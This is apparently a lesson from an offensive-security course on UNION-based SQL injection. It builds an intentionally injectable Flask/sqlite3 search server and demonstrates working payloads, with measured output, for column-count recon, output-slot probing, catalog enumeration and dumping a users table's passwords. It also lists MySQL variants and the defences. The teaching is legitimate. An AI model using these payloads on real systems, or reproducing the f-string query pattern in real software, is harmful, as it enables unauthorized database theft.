InfoSec 3001 — Information Security from the Offensive Perspective

Step 136. SQLi Advanced — Dumping the Entire Database with UNION

Step 136. SQLi Advanced — Dumping the Entire Database with UNION

Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 3.5 hours

Prerequisites: Step 135’s SQLi three-step procedure (detect, transform, tidy up) and context distinction.

  • What you need: your vulnerable-server-building experience from Step 135, Python 3 + Flask + sqlite3, and curl. Running DVWA in parallel is a plus if you have it.
  • ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
  • Caution: MySQL’s information_schema path is shown as output examples based on DVWA. Instead, the entire attack flow — from matching the column count to stealing the table list to the final dump — is measured end to end on a local sqlite3 server.

Step 135’s attack opened the login door, but it couldn’t drag data out onto the screen. The UNION injection you learn today is different. It’s a technique that glues the results of a query I wrote above and below the original query’s results, making the table list, the account list, even password hashes print as if they were search results. Emptying an entire DB by hand, with no tools — this is the central axis of SQL injection skill.

1. Learning Objectives

By the end of this chapter, you will be able to:

  • Explain UNION SELECT’s rule for combining two results (matching column counts)
  • Find the original query’s column count with the ORDER BY n technique
  • Confirm which output columns appear on screen with UNION SELECT 1,2,3...
  • Extract the table/column list from sqlite_master (or MySQL’s information_schema)
  • Reproduce the entire process of finally dumping another table’s data

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment Python 3 + Flask + sqlite3 (measured), DVWA/MySQL (output examples alongside)
Today’s payloads ' ORDER BY n-- , ' UNION SELECT ...-- , querying sqlite_master / information_schema
Concepts needed UNION’s matching-column-count rule, output columns (the spots visible on screen), system catalog tables
Today’s artifact lab136.py (vulnerable search server) + a manual UNION extraction record

2-1. UNION — Two SELECTs on One Page

UNION glues two SELECTs’ results together vertically. There is one rule — the column counts must match.

SELECT name, price FROM products
UNION
SELECT username, password FROM users;

If the left side has 2 columns, the right side needs 2 columns. This rule becomes the attack’s blueprint. If the search box has an injection, the second SELECT I attach can query any table and mix its results onto the screen.

2-2. Why Match the Column Count First

The column count of the SELECT I attach must equal the original query’s — but the attacker doesn’t know the original query. So it must be discovered. The tool is ORDER BY.

ORDER BY 2 means "sort by the 2nd column." An existing column number passes quietly; a nonexistent one throws an error. Climbing 1, 2, 3…, the number right before the error is the column count. A signature SQLi recon technique that applies the binary-search idea directly.

2-3. Output Columns — Watch Where the Numbers Print

Even after matching the column count and landing the UNION, not every column of my SELECT appears on screen — because the server code prints only some of the result’s slots. So you plant markers like ' UNION SELECT 'A','B'-- to confirm which slot prints on screen. The slot that prints is the window for data exfiltration.

2-4. The Catalog — The List of Lists

Every DB carries system tables holding "what’s inside me."

  • SQLite: sqlite_master — with name (table name) and sql (the entire CREATE TABLE statement!) columns
  • MySQL: information_schema.tables / information_schema.columns

The attacker first gets table names here, then column names, and finally dumps the actual data. Three phases: recon → mapping → plunder.

3. Follow Along

3-1. Preparing the Vulnerable Search Server

Today’s stage is a product search box. lab136.py (educational vulnerable code — never deploy it anywhere):

import sqlite3
from flask import Flask, request

app = Flask(__name__)
CONN = sqlite3.connect(":memory:", check_same_thread=False)
CONN.execute("CREATE TABLE products (name TEXT, price INTEGER)")
CONN.executemany("INSERT INTO products VALUES (?, ?)", [
    ("Mechanical Keyboard", 89000), ("Security Book", 32000), ("Monitor", 210000),
])
CONN.execute("CREATE TABLE users (username TEXT, password TEXT)")
CONN.executemany("INSERT INTO users VALUES (?, ?)", [
    ("admin", "sup3r_s3cret!"), ("alice", "wonderland"), ("bob", "builder99"),
])

@app.route("/search")
def search():
    q = request.args.get("q", "")
    sql = f"SELECT name, price FROM products WHERE name LIKE '%{q}%'"
    try:
        rows = CONN.execute(sql).fetchall()
    except Exception as e:
        return f"[Error] {e}\nExecuted SQL: {sql}", 500
    out = [f"{name} | {price} won" for name, price in rows]
    body = "\n".join(out) if out else "No results"
    return f"Search results:\n{body}\n---\nExecuted SQL: {sql}"

if __name__ == "__main__":
    app.run(port=5136)

python lab136.py

An important fact from the attacker’s perspective: the screen shows only product search results, but the same DB holds a users table. Real services are the same — members, orders, and payments all live together in the DB behind the search box.

3-2. Normal Observation and Detection

Normal search (measured 2026-09-09, using Python requests — Git Bash’s curl can garble non-ASCII encodings):

import requests
r = requests.get("http://127.0.0.1:5136/search", params={"q": "keyboard"})
print(r.text)

Search results:
Mechanical Keyboard | 89000 won
---
Executed SQL: SELECT name, price FROM products WHERE name LIKE '%keyboard%'

Per Step 135’s three-step procedure, detecting with q=' produces an error, confirming injection is possible (the structure is the same as Step 135 — today, what comes after is the main event).

3-3. Finding the Column Count — ORDER BY Recon

Input 1: q=' ORDER BY 2-- → passes (measured 2026-09-09):

Search results:
Security Book | 32000 won
Mechanical Keyboard | 89000 won
Monitor | 210000 won
---
Executed SQL: SELECT name, price FROM products WHERE name LIKE '%' ORDER BY 2-- %'

The results came out sorted by ascending price — meaning the 2nd column (price) exists.

Input 2: q=' ORDER BY 3-- → error (measured 2026-09-09):

[Error] 1st ORDER BY term out of range - should be between 1 and 2
Executed SQL: SELECT name, price FROM products WHERE name LIKE '%' ORDER BY 3-- %'

How to read it: the error message tells you the answer — "should be between 1 and 2." There are 2 columns. In the field, when you don’t know this number, you climb from 1 and find the first error point. On MySQL you’d get a message like Unknown column '3' in 'order clause' (output example).

3-4. Confirming Output Positions — Planting Markers

Input: q=zzz' UNION SELECT 'A','B'-- (empty the original results with the nonexistent search term zzz, leaving only my results on screen)

Output (measured 2026-09-09):

Search results:
A | B won
---
Executed SQL: SELECT name, price FROM products WHERE name LIKE '%zzz' UNION SELECT 'A','B'-- %'

How to read it: A | B won printed on screen — both slots are output columns. It means the first slot can carry a table name and the second a password. In the field, you judge by where the numbers of UNION SELECT 1,2,3... print.

Why: if this were a server where the 2nd slot doesn’t print, you’d just merge everything you want to extract into the 1st slot, like username || ':' || password. Confirming the output columns is the whole of extraction design.

3-5. Mapping — Stealing the Table List

Input: q=zzz' UNION SELECT name, sql FROM sqlite_master--

Output (measured 2026-09-09):

Search results:
products | CREATE TABLE products (name TEXT, price INTEGER) won
users | CREATE TABLE users (username TEXT, password TEXT) won
---
Executed SQL: SELECT name, price FROM products WHERE name LIKE '%zzz' UNION SELECT name, sql FROM sqlite_master-- %'

How to read it: one shot won two things. The table list (products, users) and — thanks to SQLite’s sql column — the entire CREATE TABLE statements, meaning even the column names (username, password). The map is complete.

Why: on MySQL, this phase splits into two shots (output example):

' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database()-- 
' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name='users'--

database() is a function returning "the current DB’s name" — usable even when you don’t know the DB name, so it’s a field favorite.

3-6. Plunder — Dumping the users Table

Input: q=zzz' UNION SELECT username, password FROM users--

Output (measured 2026-09-09):

Search results:
admin | sup3r_s3cret! won
alice | wonderland won
bob | builder99 won
---
Executed SQL: SELECT name, price FROM products WHERE name LIKE '%zzz' UNION SELECT username, password FROM users-- %'

How to read it: the search box printed everyone’s accounts and passwords. If Step 135’s login bypass was "opening the door," this is carrying off the entire safe. The whole table came out in a single request.

Why: this flow — column count → output position → catalog → dump — is exactly the procedure for emptying the users table by hand on DVWA’s SQL Injection menu. If you have DVWA, reproduce these four steps there now. The final payload for the MySQL version is ' UNION SELECT user, password FROM users-- (output example).

3-7. Looking Again with a Defender’s Eyes

Imagine seeing the four payloads just now in a server log. ORDER BY climbing 1, 2, 3, then UNION SELECT appearing, then sqlite_master/information_schema getting written, in that order — a detection signature in itself. A WAF (web application firewall) and log detection watch exactly this pattern. Only someone who has performed the attack by hand knows why the defense rules exist.

4. Missions & Exercises

Mission — Completing the Manual UNION Extraction Cycle

  1. Complete lab136.py and capture the payloads and outputs of all four phases (column count → output position → table list → dump).
  2. Under each capture, reconstruct the completed SQL by hand and write it down.
  3. Add a third table, secrets (code TEXT), to the server, and find it in the catalog and dump it on your own.
  4. In your wiki, union-extraction.md — organize the three phases "recon → map → plunder" and each phase’s payload template. If you have DVWA, also write the MySQL (information_schema) version alongside.

Exercises

Exercise 1. In a UNION injection, why must you learn the column count first, and by what principle does ORDER BY n give that answer?

Exercise 2. In zzz' UNION SELECT 'A','B'-- , what is the role of the zzz prepended in front? What problem arises without it?

Exercise 3. Suppose the server prints only the first column of results on screen. To extract username and password in one shot, how should you rewrite the second SELECT?

Exercise 4. Write how the sqlite_master (or information_schema) lookup appears to a defender, and what the fundamental defense blocking this phase is.

5. Model Answers & Completion Criteria

Mission Model Answer

How to verify: ① is there a capture of ORDER BY 2 passing / ORDER BY 3 erroring (1st ORDER BY term out of range - should be between 1 and 2) (per the 2026-09-09 measurement)? ② is there a capture of the 'A','B' markers printing as A | B won? ③ at the catalog phase, are the users table and column names visible? ④ at the dump phase, did all of admin/alice/bob come out? ⑤ was the added secrets table extracted with the same procedure? All five being "yes" means complete.

Exercise Answers

Answer 1. Because a UNION holds only when both SELECTs have the same column count, and the attacker doesn’t know the original query. ORDER BY n means "sort by the nth column," so an existing number passes and a nonexistent one errors. The number right before the first error is the column count — in the measurement, 2 passed and 3 errored with "between 1 and 2," confirming 2 columns.

Answer 2. zzz is a device that empties the original query’s results. No product matches the search term zzz, so the original SELECT returns 0 rows and only my UNION results remain on screen, easy to read. Omit it and the attack still succeeds, but the original product list and my data come out mixed, making it hard to tell which lines are mine.

Answer 3. Merge the two values into one and plant it in the first column: ' UNION SELECT username || ':' || password, NULL-- (SQLite string concatenation is ||; on MySQL it’s CONCAT(user, ':', password)). Cramming information into the printing slot is the basics of adapting to output columns.

Answer 4. In the logs, UNION SELECT and the catalog table names remain in plaintext — the pattern detection rules catch most easily. The fundamental defense is not pattern blocking but parameter binding: if input never gets promoted to query syntax, neither UNION nor the catalog can work in the first place. As a bonus, there’s DB-account privilege minimization (the web account can’t read the users table).

Completion Criteria Checklist

  • [ ] I can explain UNION’s matching-column-count rule
  • [ ] I reproduced the experiment of finding the column count with ORDER BY n
  • [ ] I can explain why you confirm output columns with markers ('A','B')
  • [ ] I can explain the role of sqlite_master / information_schema (the list of lists)
  • [ ] I succeeded in manually dumping the entire users table
  • [ ] I can state the order of the four phases (column count → output position → catalog → dump) with reasons
  • [ ] Mission: I added a new table and completed the extraction on my own

6. Common Pitfalls & Fixes

Wall 1. "Different number of columns" errors

Symptom (SQLite measured family): SELECTs to the left and right of UNION do not have the same number of result columns (MySQL output example: The used SELECT statements have a different number of columns).

Cause: my UNION’s column count differs from the original query’s. The most common mistake.

Fix: go back to 3-3 and redo the ORDER BY recon. Once the count is certain, the textbook method also works: match the count with NULLs, like UNION SELECT NULL, NULL..., then change them one by one to check types.

Wall 2. The UNION succeeded but my data doesn’t show

Symptom: no error, but only the original search results appear on screen.

One of two causes: ① the original query returned so many rows that mine got buried — prepend a nonexistent search term like zzz. ② the server prints only the first row — append LIMIT 1 to the tail, or empty the original results so my row becomes the first.

Wall 3. I typed a table name and got "no such table"

Symptom (SQLite measured family): no such table: user — a case of dropping the s.

Cause: you typed table/column names by guesswork. Whether it’s user or users, password or passwd differs per environment.

Fix: don’t guess — extract the real names first with the 3-5 catalog lookup. With a catalog, you get the map first, no wanted-list needed.

Wall 4. Spaces or quotes get mangled on the server

Symptom: spaces in the payload vanish or quotes get tangled.

Cause: you put special characters in the URL without encoding.

Fix: with curl, hand the whole thing to --data-urlencode (the way we’ve used since Step 135). Python requests‘ params= also encodes automatically. Hand-encoding is a fountain of mistakes.

Wall 5. database() doesn’t work on SQLite

Symptom: using database() gives no such function: database.

Cause: that’s a MySQL function. SQLite has no current-DB-name function (the file itself is the DB).

Fix: distinguish per-DB dialects. SQLite uses sqlite_master; MySQL uses information_schema and database(). Just pick the chapter’s payloads on the side that fits your environment — the line of thinking (recon → map → plunder) is identical.

7. Summary

Today’s Concepts

Concept One-line explanation
UNION Gluing two SELECTs vertically — holds only with matching column counts
ORDER BY n recon Errors on a nonexistent number — the point right before the first error is the column count
Output column A slot the server actually prints on screen — the window for data exfiltration
sqlite_master SQLite’s catalog — shows even entire CREATE TABLE statements
information_schema MySQL’s catalog — two-step lookup via tables / columns
Recon → map → plunder The three-phase cycle of manual UNION extraction

Today’s Payloads

Payload What it does
' ORDER BY 2-- / ORDER BY 3-- Binary-search the column count
zzz' UNION SELECT 'A','B'-- Confirm output-column positions
zzz' UNION SELECT name, sql FROM sqlite_master-- Steal the table list + structure (SQLite)
' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database()-- Table list (MySQL)
zzz' UNION SELECT username, password FROM users-- The final dump
username || ':' || password / CONCAT(...) Merging when only one slot prints

An Instinct More Important Than Commands

The essence of UNION injection is "turning a search-results box into an SQL console." Match the column count, find the printing slot, read the catalog, dump the body — these four motions are the same in any DB. A tool (sqlmap) automates this process, but in custom environments where automation doesn’t work, the one who survives is the person who understands the cycle you walked by hand today. And for a defender, this sequence is, as is, the list of detection rules.

Once every box is checked, Step 136 is complete. Click the checkbox in the sidebar to save your progress.

← 이전 스텝
다음 스텝 →